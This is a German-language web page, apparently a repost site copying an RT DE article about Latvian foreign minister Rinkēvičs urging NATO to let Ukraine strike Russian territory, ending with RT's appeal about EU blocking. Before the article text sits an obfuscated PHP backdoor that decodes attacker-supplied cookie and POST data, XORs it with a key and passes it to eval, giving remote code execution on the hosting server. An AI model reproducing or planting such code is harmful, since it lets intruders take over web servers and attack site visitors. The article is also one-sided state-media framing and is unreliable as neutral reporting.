$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Lettlands Außenminister ermutigt Ukraine zu Angriffen auf Russland — RT DE – No-Zensur.de Das freie Wort für eine freie Welt
Start RT-deutsch Lettlands Außenminister ermutigt Ukraine zu Angriffen auf Russland — RT DE

Lettlands Außenminister ermutigt Ukraine zu Angriffen auf Russland — RT DE

0
Lettlands Außenminister ermutigt Ukraine zu Angriffen auf Russland — RT DE


Das von den USA geführte NATO-Bündnis solle Kiew gestatten, Russlands Territorium mit aus dem Westen gelieferten Waffen ungehindert anzugreifen. Dies erklärte der lettische Außenminister in einem Interview. Angst vor einer Eskalation solle die Militärallianz demnach nicht haben.

Lettlands Außenminister ermutigt Ukraine zu Angriffen auf RusslandQuelle: Legion-media.ru © ANE Edition

Der lettische Außenminister Edgars Rinkēvičs rief die NATO dazu auf, der Ukraine zu „gestatten“, ihre vom Westen gelieferten Waffen für Angriffe tief in russisches Territorium zu nutzen.  Der Spitzendiplomat erklärte dies in einem Interview mit der US-amerikanischen Wirtschaftsnachrichtenagentur Bloomberg am Rande des Treffens der NATO-Außenminister in Bukarest am Dienstag.

Die Waffen sollten insbesondere für Angriffe auf Einrichtungen genutzt werden, die von Moskau für Raketenangriffe auf die kritische Infrastruktur der Ukraine genutzt werden, schlug Rinkēvičs demnach vor. So sagte der lettische Chefdiplomat gegenüber Bloomberg

„Wir sollten den Ukrainern gestatten, Waffen einzusetzen, um Raketenstellungen oder Flugplätze anzugreifen, von denen aus diese Operationen gestartet werden.“

Polens Regierungschef in Kiew: "Entweder die Ukraine gewinnt den Krieg, oder ganz Europa verliert"

Während Moskau den Westen wiederholt davor gewarnt hatte, die Ukraine mit verschiedenen Waffen „zu überschwemmen“ und darauf hinwies, dass ein solches Verhalten letztlich zu einem direkten Konflikt zwischen der US-geführten Militärallianz und Russland führen könnte, wies Rinkēvičs solche Bedenken zurück. Die NATO „sollte keine Angst vor einer Eskalation haben“, sagte er.

Lettland gehört zusammen mit anderen baltischen Staaten zu den lautstärksten Unterstützern Kiews in dem anhaltenden Konflikt zwischen Russland und der Ukraine. Die Spitzenvertreter des Landes haben wiederholt Kiew besucht, um ihre Unterstützung zu bekunden. Die jüngste Visite fand am Wochenende statt, als Rinkēvičs zusammen mit seinen Kollegen aus Litauen, Estland, Finnland, Schweden, Norwegen und Island den ukrainischen Präsidenten Wladimir Selenskij traf.

In den vergangenen Wochen hat Russland wiederholt massive Angriffe mit Marschflugkörpern und Kamikaze-Drohnen auf das ukrainische Stromnetz und militärische Einrichtungen durchgeführt. Die Angriffe folgten auf eine Explosion, bei der die Brücke von Kertsch beschädigt wurde, die das russische Festland mit der Halbinsel Krim verbindet. Moskau machte die Ukraine und ihre ausländischen Unterstützer, insbesondere das Vereinigte Königreich, für den Vorfall verantwortlich und sprach von einem „Terroranschlag“. Kiew und London haben jedoch ihre Beteiligung bestritten.

Mehr zum Thema – US-Waffenlieferungen an die Ukraine: Wohin fließen die Gelder?

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.

Am 24. Februar kündigte der russische Präsident Wladimir Putin an, gemeinsam mit den Streitkräften der Donbass-Republiken eine militärische Spezialoperation in der Ukraine zu starten, um die dortige Bevölkerung zu schützen. Die Ziele seien, die Ukraine zu entmilitarisieren und zu entnazifizieren. Die Ukraine spricht von einem Angriffskrieg. Noch am selben Tag rief der ukrainische Präsident Wladimir Selenskij im ganzen Land den Kriegszustand aus.

Der Westen verurteilte den Angriff, reagierte mit neuen Waffenlieferungen, versprach Hilfe beim Wiederaufbau und verhängte Sanktionen gegen Russland.

Auf beiden Seiten des Konfliktes sind zahlreiche Soldaten und Zivilisten getötet worden. Moskau und Kiew haben sich gegenseitig verschiedener Kriegsverbrechen beschuldigt. Tausende Ukrainer sind mittlerweile aus ihrer Heimat geflohen.





Source link